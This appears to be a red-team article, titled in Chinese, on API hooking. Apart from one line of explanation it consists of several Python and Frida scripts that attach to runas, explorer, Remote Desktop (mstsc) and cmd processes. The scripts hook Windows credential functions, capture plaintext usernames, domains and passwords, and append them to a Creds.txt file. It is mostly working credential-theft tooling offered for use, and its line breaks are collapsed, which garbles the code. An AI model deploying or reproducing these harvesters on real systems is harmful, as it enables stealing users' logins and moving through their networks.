API Hooking技术在红队中的应用

它允许用户以不同于用户当前登录时所提供的权限来运行特定的工具和程序。

var CreateProcessWithLogonW = Module.findExportByName("Advapi32.dll", 'CreateProcessWithLogonW') // exporting the function from the dll library
Interceptor.attach(CreateProcessWithLogonW, { // getting our juice arguments (according to microsoft docs)  onEnter: function (args) {    this.lpUsername = args[0];    this.lpDomain = args[1];    this.lpPassword = args[2];    this.lpCommandLine = args[5];  },  onLeave: function (args) { // getting the plain text credentials     send("\n=============================" + "\n[+] Retrieving Creds from RunAs.." +"\n Username    : " + this.lpUsername.readUtf16String() + "\nCommandline : " + this.lpCommandLine.readUtf16String() + "\nDomain      : " + this.lpDomain.readUtf16String() + "\nPassword    : " + this.lpPassword.readUtf16String()+ "\n=============================");
  }
});

# Wrriten by Ilan Kalendarov
from __future__ import print_functionimport fridafrom time import sleepimport psutilfrom threading import Lock, Thread
# Locking the runas thread to prevent other threads
#interfering with our current sessionlockRunas = Lock()  
def on_message_runas(message, data):  # Executes when the user enters the password.  # Then, open the txt file and append the data.  print(message)  if message['type'] == "send":    with open("Creds.txt", "a") as f:      f.write(message["payload"] + 'n')    try:      lockRunas.release()      print("[+] released")    except Exception:      pass

def WaitForRunAs():  while True:    # Trying to find if runas is running if so, execute the "RunAs" function.    if ("runas.exe" in (p.name() for p in psutil.process_iter())) and not lockRunas.locked():      lockRunas.acquire() # Locking the runas thread      print("[+] Found RunAs")      RunAs()      sleep(0.5)
    # If the user regret and they "ctrl+c" from runas then release the thread lock and start over.    elif (not "runas.exe" in (p.name() for p in psutil.process_iter())) and lockRunas.locked():      lockRunas.release()      print("[+] Runas is dead releasing lock")    else:      pass    sleep(0.5)
def RunAs():  try:    # Attaching to the runas process    print("[+] Trying To Attach To Runas")    session = frida.attach("runas.exe")    print("[+] Attached runas!")
    # Executing the following javascript    # We Listen to the CreateProcessWithLogonW func from Advapi32.dll to catch the username,password,domain and the executing program       in plain text.    script = session.create_script("""      var CreateProcessWithLogonW = Module.findExportByName("Advapi32.dll", 'CreateProcessWithLogonW') // exporting the function from     the dll library    Interceptor.attach(CreateProcessWithLogonW, { // getting our juice arguments (according to microsoft docs)      onEnter: function (args) {        this.lpUsername = args[0];        this.lpDomain = args[1];        this.lpPassword = args[2];        this.lpCommandLine = args[5];      },      onLeave: function (args) { // getting the plain text credentials         send("\n=============================" + "\n[+] Retrieving Creds from RunAs.." +"\n Username    : " + this.lpUsername.readUtf16String() + "\nCommandline : " + this.lpCommandLine.readUtf16String() + "\nDomain      : " + this.lpDomain.readUtf16String() + "\nPassword    : " + this.lpPassword.readUtf16String()+ "\n=============================");        }    });      """)      # If we got a hit then execute the "on_message_runas" function    script.on('message', on_message_runas)    script.load()  except Exception as e:    print(str(e))
if __name__ == "__main__":  thread = Thread(target=WaitForRunAs)  thread.start()

# Wrriten by Ilan Kalendarov
from __future__ import print_functionimport fridafrom time import sleepimport psutilfrom threading import Lock, Threadimport sys
def on_message_credui(message, data):  # Executes when the user enters the credentials inside the Graphical runas prompt.  # Then, open a txt file and appends the data.  print(message)  if message['type'] == "send":    with open("Creds.txt", "a") as f:      f.write(message["payload"] + 'n')

def CredUI():  # Explorer is always running so no while loop is needed.
  # Attaching to the explorer process  session = frida.attach("explorer.exe")    # Executing the following javascript  # We Listen to the CredUnPackAuthenticationBufferW func from Credui.dll to catch the user and pass in plain text  script = session.create_script("""    var username;  var password;  var CredUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW")    Interceptor.attach(CredUnPackAuthenticationBufferW, {    onEnter: function (args)     {        username = args[3];      password = args[7];    },    onLeave: function (result)    {             var user = username.readUtf16String()      var pass = password.readUtf16String()        if (user && pass)      {        send("\n+ Intercepted CredUI Credentials\n" + user + ":" + pass)      }    }  });    """)  # If we found the user and pass then execute "on_message_credui" function  script.on('message', on_message_credui)  script.load()  sys.stdin.read()
if __name__ == "__main__":  CredUI()

# Wrriten by Ilan Kalendarov
from __future__ import print_functionimport fridafrom time import sleepimport psutilfrom threading import Lock, Threadimport sys
# Locking the mstsc thread to prevent other threads
#interfering with our current sessionlockRDP= Lock()  
def on_message_rdp(message, data):  # Executes when the user enters the password.  # Then, open the txt file and append the data.  print(message)  if message['type'] == "send":    with open("Creds.txt", "a") as f:      f.write(message["payload"] + 'n')    try:      lockRDP.release()      print("[+] released")    except Exception:      pass

def WaitForRDP():  while True:    # Trying to find if mstsc is running if so, execute the "RunAs" function.    if ("mstsc.exe" in (p.name() for p in psutil.process_iter())) and not lockRDP.locked():      lockRDP.acquire() # Locking the mstsc thread      print("[+] Found RunAs")      RDP()      sleep(0.5)
    # If the user regret and they close mstsc then we will release the thread lock and start over.    elif (not "mstsc.exe" in (p.name() for p in psutil.process_iter())) and lockRDP.locked():      lockRDP.release()      print("[+] RDP is dead releasing lock")    else:      pass    sleep(0.5)
def RDP():  try:    # Attaching to the mstsc process    print("[+] Trying To Attach To RDP")    session = frida.attach("mstsc.exe")    print("[+] Attached to mstsc!")
    # Executing the following javascript    # We Listen to the CredUnPackAuthenticationBufferW func from Credui.dll to catch the username,password,domain and the executing     program in plain text.    script = session.create_script("""      var username;    var password;    var CredUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW")      Interceptor.attach(CredUnPackAuthenticationBufferW, {      onEnter: function (args)       {          username = args[3];        password = args[7];      },      onLeave: function (result)      {                 var user = username.readUtf16String()        var pass = password.readUtf16String()          if (user && pass)        {          send("\n+ Intercepted RDP Credentials\n" + user + ":" + pass)        }      }    });      """)    # If we got a hit then execute the "on_message_rdp" function    script.on('message', on_message_rdp)    script.load()  except Exception as e:    print(str(e))
if __name__ == "__main__":  thread = Thread(target=WaitForRDP)  thread.start()

# Wrriten by Ilan Kalendarov
from __future__ import print_functionimport fridafrom time import sleepimport psutilfrom threading import Lock, Threadimport sys
# Locking the cmd thread to prevent other threads
#interfering with our current sessionlockCmd = Lock()
def on_message_cmd(message, data):  # Executes when the user enters the right keyword from the array above.  # Then, open the txt file and append it
  #filter the wanted args  arr = ["-p", "pass", "password"]  if any(name for name in arr if name in message['payload']):    print(message['payload'])    with open("Creds.txt", "a") as f:      f.write(message['payload'] + 'n')    try:      lockCmd.release()      print("[+] released")    except Exception:      pass

def WaitForCmd():  numOfCmd = []  while True:    #  Trying to find if cmd is running if so, execute the "CMD" function.    if ("cmd.exe" in (p.name() for p in psutil.process_iter())):      process = filter(lambda p: p.name() == "cmd.exe", psutil.process_iter())      for i in process:        # if we alredy hooked the cmd window,pass        if (i.pid not in numOfCmd):          #IF a new cmd window pops add it to the array, we want to hook          #evey cmd window          numOfCmd.append(i.pid)          lockCmd.acquire()          print("[+] Found cmd")          Cmd(i.pid)          lockCmd.release()          sleep(0.5)
    # if cmd is dead release the lock    elif (not "cmd.exe" in (p.name() for p in psutil.process_iter())) and lockCmd.locked():      lockCmd.release()      print("[+] cmd is dead releasing lock")    else:      pass    sleep(0.5)
def Cmd(Cmdpid):  try:    # attaching to the cmd window, this time with the right pid    print("[+] Trying To Attach To cmd")    session = frida.attach(Cmdpid)    print("[+] Attached cmd with pid {}!".format(Cmdpid))    script = session.create_script("""      var username;      var password;      var CredUnPackAuthenticationBufferW = Module.findExportByName("Ntdll.dll", "RtlInitUnicodeStringEx")            Interceptor.attach(CredUnPackAuthenticationBufferW, {        onEnter: function (args)         {          password = args[1];        },        onLeave: function (result)        {          // Credentials are now decrypted          var pass = password.readUtf16String();      
          if (pass)          {            send("\n+ Intercepted cmd Creds\n" + ":" + pass);          }        }      });      """)    script.on('message', on_message_cmd)    script.load()  except Exception as e:    print(str(e))
if __name__ == "__main__":  thread = Thread(target=WaitForCmd)  thread.start()